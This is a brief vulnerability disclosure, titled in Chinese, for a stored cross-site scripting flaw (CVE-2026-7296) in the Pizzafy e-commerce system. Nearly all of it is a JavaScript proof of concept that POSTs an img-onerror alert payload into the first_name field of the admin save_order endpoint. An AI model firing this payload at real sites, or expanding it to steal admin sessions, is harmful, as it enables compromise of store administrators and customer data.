CVE-2026-7296 Pizzafy电商系统存储型XSS漏洞

// PoC for CVE-2026-7296 // Target: /admin/ajax.php?action=save_order // Parameter: first_name // Malicious payload to be injected into the first_name field var maliciousPayload = "<img src=x onerror=alert('CVE-2026-7296')>"; // Simulated HTTP POST request to exploit the vulnerability fetch('/admin/ajax.php?action=save_order', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'first_name=' + encodeURIComponent(maliciousPayload) + '&status=1' });